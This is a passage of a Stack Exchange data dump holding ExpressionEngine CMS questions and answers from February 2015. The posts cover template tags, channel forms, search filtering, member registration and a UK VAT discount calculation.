  <row Id="30146" PostTypeId="2" ParentId="2157" CreationDate="2015-02-20T20:10:40.210" Score="0" Body="&lt;p&gt;I used the following in my htaccess to redirect the urls with a trailing slash:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteEngine on&#xA;RewriteCond %{REQUEST_FILENAME} !-f&#xA;RewriteCond %{REQUEST_FILENAME} !-d&#xA;RewriteCond %{HTTP_HOST} !^\.localhost$ [NC]&#xA;RewriteRule ^(.+[^/])/$ http://%{HTTP_HOST}/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2063" LastActivityDate="2015-02-20T20:10:40.210" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30149" PostTypeId="2" ParentId="30126" CreationDate="2015-02-21T10:06:13.707" Score="1" Body="&lt;p&gt;Thanks Low! Mo Variables worked perfectly. I used the following to select the post channel:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;form method=&quot;post&quot; action=&quot;{path='tour-calendar/{segment_2}'}&quot;&amp;gt;&#xA;          &amp;lt;input type=&quot;hidden&quot; name=&quot;csrf_token&quot; value=&quot;{csrf_token}&quot; /&amp;gt;&#xA;              &amp;lt;select name=&quot;channel&quot;&amp;gt;&#xA;                  &amp;lt;option {if post:channel == &quot;a|b|c&quot;} selected=&quot;selected&quot;{/if} name=&quot;channel&quot; value=&quot;a|b|c&quot;&amp;gt;All Tours&amp;lt;/option&amp;gt;&#xA;                  &amp;lt;option {if post:channel == &quot;a&quot;} selected=&quot;selected&quot;{/if} name=&quot;channel&quot; value=&quot;a&quot;&amp;gt;Llanelly House Tour&amp;lt;/option&amp;gt;&#xA;                  &amp;lt;option {if post:channel == &quot;b&quot;} selected=&quot;selected&quot;{/if} name=&quot;channel&quot; value=&quot;b&quot;&amp;gt;Restoration Tour&amp;lt;/option&amp;gt;&#xA;                  &amp;lt;option {if post:channel == &quot;c&quot;} selected=&quot;selected&quot;{/if} name=&quot;channel&quot; value=&quot;c&quot;&amp;gt;Ghostly Tour&amp;lt;/option&amp;gt;&#xA;              &amp;lt;/select&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;small-2 columns&quot;&amp;gt;&#xA;    &amp;lt;input role=&quot;button&quot; aria-label=&quot;Submit&quot; name=&quot;submit&quot; type=&quot;submit&quot; class=&quot;button postfix submit&quot; value=&quot;Go&quot; /&amp;gt;&#xA;    &amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="547" LastEditorUserId="547" LastEditDate="2015-02-21T13:33:33.197" LastActivityDate="2015-02-21T13:33:33.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30150" PostTypeId="1" CreationDate="2015-02-21T12:51:33.867" Score="0" ViewCount="32" Body="&lt;p&gt;If I disable Allow New Member Registrations, and a user goes to the Registration page, the error page is not displayed, but instead is embedded within the registration page, occupying the location where the registration form once was displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems the error re-routing isn't working when Allow New Member Registrations is disabled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Error re-routing does work for all other functions with USER&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get the error page to display correctly when registrations are disabled?&lt;/p&gt;&#xA;" OwnerUserId="4992" LastActivityDate="2016-06-03T02:35:44.227" Title="Solspace USER redirect on Allow New Member Registrations? NO" Tags="|solspace-user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30151" PostTypeId="1" CreationDate="2015-02-21T13:36:40.260" Score="0" ViewCount="154" Body="&lt;p&gt;I've created Select Dropdown fieldtype and populated it manually. How do I display the select in a channel form?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The EE documentation states: This creates a standard HTML  drop-down list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However when I add the {fieldtype} to my channel form nothing appears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I add the Dropdown to my channel form?&lt;/p&gt;&#xA;" OwnerUserId="4992" LastEditorUserId="55" LastEditDate="2015-02-21T17:18:35.073" LastActivityDate="2016-03-21T07:28:22.903" Title="Add Dropdown in Channel Form" Tags="|safecracker|fieldtype|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30152" PostTypeId="2" ParentId="30111" CreationDate="2015-02-21T13:47:32.737" Score="3" Body="&lt;p&gt;The reason the code you grabbed off SE is returning all entries under each category is that you haven't limited the inner loop by the category that the outer loop is currently in.  You need to pass the category_id to the inner loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:channel:category_archive channel=&quot;botanical_gardens&quot; style=&quot;linear&quot;}&#xA;    {categories}&#xA;        &amp;lt;h3&amp;gt;{category_name}&amp;lt;/h3&amp;gt;&#xA;        {exp:channel:entries channel=&quot;botanical_gardens&quot; category=&quot;{category_id}&quot; disable=&quot;member_data|pagination&quot;}&#xA;          &amp;lt;a href=&quot;{garden_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&#xA;        {/exp:channel:entries}&#xA;    {/categories}&#xA;  {/exp:channel:category_archive}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The reason this approach is typically used is that the category archive tag doesn't return custom fields - which is what your URLs are stored in. This is why the field name is showing in the rendered HTML.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll also want to make sure you disable as much as you can on the inner loop as this nested loop approach can spawn a lot of queries. I've used it a number of times but if you are expecting 100's of categories with 1000's of entries I would look to a different organizational approach like relationships.&lt;/p&gt;&#xA;" OwnerUserId="651" LastActivityDate="2015-02-21T13:47:32.737" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30153" PostTypeId="2" ParentId="30151" CreationDate="2015-02-21T17:22:47.670" Score="1" Body="&lt;p&gt;As per the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/add-ons/channel/channel_form/index.html#other-channel-fields&quot; rel=&quot;nofollow&quot;&gt;documentation for displaying select lists in Channel Forms&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you’re creating a select list, you’ll need to pull in the options, using &lt;code&gt;{options:my_field_name}&lt;/code&gt; but otherwise things look pretty similar:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;my_field_name&quot; id=&quot;my_field_name&quot;&amp;gt;&#xA;  {options:my_field_name}&#xA;    &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;  {/options:my_field_name}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2015-02-21T17:22:47.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30154" PostTypeId="2" ParentId="28896" CreationDate="2015-02-21T21:09:25.677" Score="0" Body="&lt;p&gt;I have not tired it, but take a look at the Shortcode plugin here: &lt;a href=&quot;https://devot-ee.com/add-ons/shortcode&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/shortcode&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It says it work like the WordPress shortcode API which does allow you to use shortcodes to create functionality inside of text-editors.&lt;/p&gt;&#xA;" OwnerUserId="5046" LastActivityDate="2015-02-21T21:09:25.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30155" PostTypeId="1" AcceptedAnswerId="30159" CreationDate="2015-02-21T23:18:32.530" Score="0" ViewCount="208" Body="&lt;p&gt;I am creating a website for an apartment complex where the user can find apartments based on a floorplan. I have Low Search installed and am attempting to create a filtered search form using categories assigned to each apartment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question:&lt;/strong&gt; is there a way to combine multiple categories into one option in a select dropdown? For example, I have six categories (floor 1, floor 2, floor 3, floor 4, floor 5, floor 6). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want two select options where each option returns results for three of the six categories. If you choose the first option, it will return results for entries categorized with floor 1, floor 2 or floor 3. If you choose the second option you get entries categorized with floor 4, floor 5 or floor 6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried the following, within a Low Search form tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;label&amp;gt;What floor do you like?&amp;lt;/label&amp;gt;&#xA;&#xA;&amp;lt;select name=&quot;category[]&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;&quot;&amp;gt;--&amp;lt;/option&amp;gt;&#xA;    {exp:channel:categories&#xA;      category_group=&quot;1&quot;&#xA;      show=&quot;1|2|3&quot;&#xA;      style=&quot;linear&quot;&#xA;    }&#xA;      &amp;lt;option value=&quot;{category_id}&quot;{if low_search_category ~ '/\b'.category_id.'\b/'} selected{/if}&amp;gt;&#xA;          I'm afraid of heights, lower floors are preferred&#xA;      &amp;lt;/option&amp;gt;&#xA;    {/exp:channel:categories}&#xA;    {exp:channel:categories&#xA;      category_group=&quot;1&quot;&#xA;      show=&quot;4|5|6&quot;&#xA;      style=&quot;linear&quot;&#xA;    }&#xA;      &amp;lt;option value=&quot;{category_id}&quot;{if low_search_category ~ '/\b'.category_id.'\b/'} selected{/if}&amp;gt;&#xA;          The higher the better!&#xA;      &amp;lt;/option&amp;gt;&#xA;    {/exp:channel:categories}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But what displays in the select dropdown is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;--&#xA;I'm afraid of heights, lower floors are preferred&#xA;I'm afraid of heights, lower floors are preferred&#xA;I'm afraid of heights, lower floors are preferred&#xA;The higher the better!&#xA;The higher the better!&#xA;The higher the better!&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am on EE 2.8.1 with Low Search 3.5.2. Any insight provided would be most appreciated!&lt;/p&gt;&#xA;" OwnerUserId="6070" LastActivityDate="2015-02-22T09:20:09.737" Title="Combine multiple categories into one select option" Tags="|low-search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30156" PostTypeId="1" CreationDate="2015-02-22T07:00:00.363" Score="2" ViewCount="134" Body="&lt;p&gt;I've got a project involving Expresso Store, where I'm attempting to simplify the process of updating store products and stock (for the owners of the website) by going outside the ExpressionEngine publish forms and setting up the product entry and stock update process in Channel Forms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, though the Store field looks like it's compatible with Channel Forms, on editing an entry, I get this error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered&#xA;Severity: Warning&#xA;Message: Invalid argument supplied for foreach()&#xA;&#xA;Filename: Service/ProductsService.php&#xA;Line Number: 137&#xA;A PHP Error was encountered&#xA;&#xA;Severity: Warning&#xA;Message: Cannot modify header information - headers already sent by (output started at /home/tcisite5/public_html/tci/codeigniter/system/core/Exceptions.php:170)&#xA;&#xA;Filename: libraries/Functions.php&#xA;Line Number: 446&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In spite of the error, other fields are updated when I submit the Channel Form. But Store fields are not updated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running ExpressionEngine v2.9.2 - Build Date: 20141004. &#xA;Also, Store has been updated the new version: 2.5.0.&#xA;I've also done an optimize/repair on all of my EE database tables through the EE utility.&lt;/p&gt;&#xA;" OwnerUserId="330" LastActivityDate="2016-06-08T16:17:38.793" Title="Expresso Store throws PHP error when updating product entry via Channel Form" Tags="|expresso-store|safecracker|php-errors|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30158" PostTypeId="1" AcceptedAnswerId="30160" CreationDate="2015-02-22T09:02:17.397" Score="0" ViewCount="137" Body="&lt;p&gt;I need a way to show channel:entry content filtered by statuses open vs custom on a single entry page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Like so:&#xA;- Show basic fields and their content if status is “open”&#xA;- Show ALL fields when status is “custom”.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to use conditional inside of channel:entry loop but that didnt get me anywhere but errors. So seems that using if status=“custom” is not available for to use (bummer)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How I can hide/show content on entry page depending on entry status?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the only way to make 2 channel:entry looping pairs with other having status set to “open” and putting fields I want to show inside, and then double it and changing status to “custom” and putting all fields inside of that looping pair?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something that can be used to filter content fields with status parameter using only one channel:entry looping pair?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2015-02-22T09:28:26.063" Title="Filter Channel Entry content parts with status parameter?" Tags="|channel-entries|status|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30159" PostTypeId="2" ParentId="30155" CreationDate="2015-02-22T09:20:09.737" Score="0" Body="&lt;p&gt;The &lt;code&gt;channel:categories&lt;/code&gt; tag will loop through the categories given, hence the 3 rows per tag. If you only need 2 &lt;code&gt;&amp;lt;option&amp;gt;&lt;/code&gt;s, but they need to target 3 categories each, then hard-coding the category IDs would be the way to go. Also, since you're allowing the user to select &lt;em&gt;one&lt;/em&gt; option (rather than multiple), you don't need the square brackets in the &lt;code&gt;name&lt;/code&gt; attribute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your copy/paste convenience:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;category&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot;&amp;gt;--&amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;1|2|3&quot;{if low_search_category == '1|2|3'} selected{/if}&amp;gt;&#xA;        I'm afraid of heights, lower floors are preferred&#xA;    &amp;lt;/option&amp;gt;&#xA;    &amp;lt;option value=&quot;4|5|6&quot;{if low_search_category == '4|5|6'} selected{/if}&amp;gt;&#xA;        The higher the better!&#xA;    &amp;lt;/option&amp;gt;&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-02-22T09:20:09.737" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30160" PostTypeId="2" ParentId="30158" CreationDate="2015-02-22T09:28:26.063" Score="0" Body="&lt;p&gt;You should be able to just use the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; tag pair, define both statuses in the &lt;code&gt;status=&quot;&quot;&lt;/code&gt; parameter, and then use a conditional to show status-specific content.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries status=&quot;open|custom&quot; ... }&#xA;&#xA;    Shared fields&#xA;&#xA;    {if status == 'open'}&#xA;        Fields for status Open&#xA;    {/if}&#xA;&#xA;    {if status == 'custom'}&#xA;        Fields for status Custom&#xA;    {/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="172" LastActivityDate="2015-02-22T09:28:26.063" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30161" PostTypeId="1" AcceptedAnswerId="30162" CreationDate="2015-02-22T16:53:34.937" Score="0" ViewCount="176" Body="&lt;p&gt;Hmm, taking my first steps with categories and not having much joy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got {meta-title} and {meta-description} category fields set up for each category. Having trouble pulling back the correct data for the category, just pulls back the first categories custom category fields.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;{product_channel}&quot; category_group=&quot;1&quot;}&#xA;    {categories} &#xA;        &amp;lt;title&amp;gt;{meta-title}&amp;lt;/title&amp;gt;&#xA;        &amp;lt;meta name=&quot;description&quot; content=&quot;{meta-description}&quot; /&amp;gt;&#xA;    {/categories}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="547" LastActivityDate="2015-02-22T18:17:18.770" Title="Custom Category Fields" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30162" PostTypeId="2" ParentId="30161" CreationDate="2015-02-22T18:17:18.770" Score="0" Body="&lt;p&gt;Ended up using Lows Seg2Cat to get the category ID. Thanks Low!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;{product_channel}&quot; category_group=&quot;1&quot; category=&quot;{last_segment_category_id}&quot;}&#xA;        {categories}&#xA;            &amp;lt;title&amp;gt;{meta-title}&amp;lt;/title&amp;gt;&#xA;            &amp;lt;meta name=&quot;description&quot; content=&quot;{meta-description}&quot; /&amp;gt;&#xA;        {/categories}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="547" LastActivityDate="2015-02-22T18:17:18.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30163" PostTypeId="1" CreationDate="2015-02-22T19:00:31.130" Score="1" ViewCount="22" Body="&lt;p&gt;The screen_name member field is limited to 50 characters in the CP...is there a way to increase this? We have some company names for Screen Names that are longer than 50 characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3909" LastActivityDate="2015-03-24T21:24:54.710" Title="Increase Screen Name Length" Tags="|control-panel|screen-name|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30164" PostTypeId="1" CreationDate="2015-02-22T19:08:08.140" Score="1" ViewCount="72" Body="&lt;p&gt;I'm trying to do something incredibly simple yet it just won't work and I'm getting frustrated. I have a list of staff members in a Matrix field. Upon selecting a staff member the user is taken to a new template with a detailed bio of that member. I'm using URL segments to pass the row_id of the selected staff member to the bio template but when clicked nothing is displayed. If I manually enter the row_id it works fine which leads me to believe that Matrix does not work with the URL segment variables? Here is the code I'm using:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Page with list of staff members:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;staff&quot;}   &#xA;    {staff_members}                     &#xA;     &amp;lt;a href=&quot;{path='templates/bio/{row_id}'}&quot;&amp;gt;&#xA;    {/staff_members}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Detailed Staff Template&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;staff&quot;}&#xA;    {staff_members row_id=&quot;{segment_3}&quot;}&#xA;        {staff_bio}&#xA;    {/staff_members}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this not possible with Matrix or am I missing something really obvious?&lt;/p&gt;&#xA;" OwnerUserId="6072" LastActivityDate="2016-05-26T22:38:46.593" Title="Matrix will not work with URL segments to set a row id" Tags="|matrix|add-on|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30165" PostTypeId="1" AcceptedAnswerId="30168" CreationDate="2015-02-22T19:26:29.730" Score="0" ViewCount="36" Body="&lt;p&gt;I just disabled pagination on a channel &quot;main index&quot; page while my paginate codes were still in my template and result was that all pagination tags and html content was coming out as-is breaking the page totally. Should those be ignored totally when disabling them?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I mean, now I have to delete pagination codes or at least comment them out to &quot;save&quot; the template settings if I ever need pagination again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE2.9.2&lt;/p&gt;&#xA;" OwnerUserId="2959" LastActivityDate="2015-02-22T20:07:46.957" Title="Disabling pagination with paginate tag pair failing?" Tags="|channel-entries|pagination|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30166" PostTypeId="2" ParentId="30163" CreationDate="2015-02-22T19:49:30.860" Score="1" Body="&lt;p&gt;Since checking for lenght is not part of screen name validation in EE, I guess you only need to change the property of database column in exp_members table to allow, e.g. 100 characters&lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-02-22T19:49:30.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30167" PostTypeId="1" CreationDate="2015-02-22T19:56:44.393" Score="0" ViewCount="110" Body="&lt;p&gt;What are the recommended modules for managing members in channel entries that can have different member groups and member fields?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Zoo Visitor seems to only have one group available - no use.&lt;/li&gt;&#xA;&lt;li&gt;Freemember seems to hook into the built in member fields, I would&#xA;prefer to use channel entries.&lt;/li&gt;&#xA;&lt;li&gt;User from Solspace seems to be my only&#xA;option?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="687" LastActivityDate="2016-05-30T11:41:12.360" Title="EE member management with multiple groups" Tags="|safecracker|members|zoo-visitor|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30168" PostTypeId="2" ParentId="30165" CreationDate="2015-02-22T20:07:46.957" Score="0" Body="&lt;p&gt;All tags that the system does not know (e.g. references to variables or fields that don't exist, or just any text wrapped between {}) is returned to the template unparsed. If you disable pagination, the system stops knowing anything about paginate tags, so they stay unparsed. &lt;/p&gt;&#xA;" OwnerUserId="19" LastActivityDate="2015-02-22T20:07:46.957" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30169" PostTypeId="1" CreationDate="2015-02-22T20:34:48.983" Score="0" ViewCount="40" Body="&lt;p&gt;We have a developed a new academic forum on our site and would like to generate an email to the academic members alerting them that a new posting has been made. I realise that Administrators and Moderators can receive these notifications but there's no apparent way to identify a particular member group other than thses.&#xA;I have so far tries Postmaster and MX Notify but sadly neither of these will enable me to monitor forum entries, only channel entries. I was wondering if anyone has found a way around this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Richard&lt;/p&gt;&#xA;" OwnerUserId="4938" LastActivityDate="2016-05-26T10:33:17.090" Title="New posting notification for certain member group" Tags="|members|module|forum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30171" PostTypeId="1" AcceptedAnswerId="30190" CreationDate="2015-02-22T21:30:32.343" Score="0" ViewCount="60" Body="&lt;p&gt;I'm trying to update the price on the product page, I'm using the &quot;dynamic&quot; price class.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;span class=&quot;store_product_price&quot;&amp;gt;{price}&amp;lt;/span&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But because I want the options to look nice, I am actually hiding the standard expresso modifiers &lt;code&gt;&amp;lt;select&amp;gt;&lt;/code&gt; element, then using some custom JS I am updating it, but when I do that, I appear to be missing a function that expresso store uses to update the price in the &lt;code&gt;store_product_price&lt;/code&gt; class. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to call that and update it? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or will I have to loop on all the &quot;selected&quot; options and update the price manually? Would rather not get into maths for doing this &amp;amp; take advantage of expresso's method. :|&lt;/p&gt;&#xA;" OwnerUserId="1861" LastActivityDate="2016-05-30T23:42:31.943" Title="Update the price on the product page with custom selects" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30172" PostTypeId="1" AcceptedAnswerId="30173" CreationDate="2015-02-22T22:56:27.873" Score="0" ViewCount="239" Body="&lt;p&gt;Having difficulty getting the reset password functionality to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got the forgot password template set up which then sends you to the reset password template on submission.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the reset password page I just get an instant message of &quot;Sorry, the link you clicked on does not appear to be valid, or has expired&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I receive the reset password email but clicking on the link gives me the following message &quot;The password reset token does not appear to be valid. Please check the link you followed.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Not sure what I'm missing.&lt;/p&gt;&#xA;" OwnerUserId="547" LastActivityDate="2015-02-22T23:02:02.473" Title="Freemember Reset Password" Tags="|freemember|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30173" PostTypeId="2" ParentId="30172" CreationDate="2015-02-22T23:02:02.473" Score="2" Body="&lt;p&gt;Apologies I didn't have the reset parameter in the form&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freemember:forgot_password return=&quot;account/forgot_sent&quot; reset=&quot;account/reset&quot;}&#xA;    &amp;lt;!-- forgot password template --&amp;gt;&#xA;{/exp:freemember:forgot_password}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="547" LastActivityDate="2015-02-22T23:02:02.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30174" PostTypeId="1" AcceptedAnswerId="30193" CreationDate="2015-02-23T01:12:34.557" Score="0" ViewCount="32" Body="&lt;p&gt;So our client is constantly adding entries that have expiration dates, but in the Edit page for Channel Entries, you can't filter the list to show all expired entries for example.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem is that the client then has no idea which entries have expired and which haven't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to approach this?&#xA;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="3909" LastActivityDate="2015-02-23T16:32:17.303" Title="Showing Expired Entries in Channel Entries Edit List" Tags="|control-panel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30175" PostTypeId="2" ParentId="25854" CreationDate="2015-02-23T01:42:41.620" Score="0" Body="&lt;p&gt;Gov.uk can get convoluted with their explanations in places, but this 8 point reference is pretty succinct; point 8 of particular note:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Discounts:&lt;/strong&gt; Charged on the discounted price (not the full price)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.gov.uk/vat-businesses/discounts-and-free-gifts&quot; rel=&quot;nofollow&quot;&gt;VAT on discounts and free gifts&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in the first instance, and with regard to the example you first presented:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;ITEM PRICE&lt;/strong&gt; £12.50 (+£2.50 VAT) = £15.00&#xA;&lt;strong&gt;DISCOUNT&lt;/strong&gt; £4.00&#xA;&lt;strong&gt;GRAND TOTAL&lt;/strong&gt; £8.50 (+£1.70 VAT) = £10.20&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So Chris is correct with respect to scenario 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the case where non-vat items are included, you simply make subtotal A of your non-vat items, and sub-total B of your vat chargeable items; VAT is then only calculated on the sub-total B.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;((A + B) - Discount) + (B * 0.2)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The discount is applied to your subtotal, before the VAT calculationWhere 0.2 is the 20% prevailing VAT rate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;br&gt;&#xA;&lt;strong&gt;Mixed VAT/non-VAT Items in basket&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems somewhat open to interpretation, with the guidance on HMRC/GOV.uk not particularly clear - but again, based on online advice/consensus, it seems that it's considered fair game to apply the discount to whichever category of item you desire (and will likely differ depending on whether the bulk of your customers are VAT registered or not).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.accountingweb.co.uk/anyanswers/question/discounting-mixed-vat-sales-zero-and-standard-rate&quot; rel=&quot;nofollow&quot;&gt;Discounts on mixed VAT sales (see comments)&lt;/a&gt;&#xA;&lt;br&gt;&lt;br&gt;&lt;br&gt;&lt;br&gt;&#xA;&lt;strong&gt;N.B. - Delivery charges&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know your original post didn't specifically mention this - however for completeness of answer, it is considered good practice (by some) to apportion your delivery charge as vat/non-vat, dependent on the balance of vat/non-vat goods in your basket. An article here discusses this in some depth, taking basket contents down to percentages(!):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.saynototheoffice.com/vat-delivery-mixed-rate-goods/&quot; rel=&quot;nofollow&quot;&gt;VAT on delivery of mixed rate goods&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems that the official guidance from HMRC is subject somewhat to interpretation - and certainly my take is generally to err on the side of caution and VAT delivery whenever any VAT-chargeable goods are present.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in short (or not!) your logic is not illogical - but this hopefully helps to clarify Chris CT's position on the VAT, and perhaps shed light on some of the other considerations too.&lt;/p&gt;&#xA;" OwnerUserId="6059" LastActivityDate="2015-02-23T01:42:41.620" CommentCount="0" ContentLicense="CC BY-SA 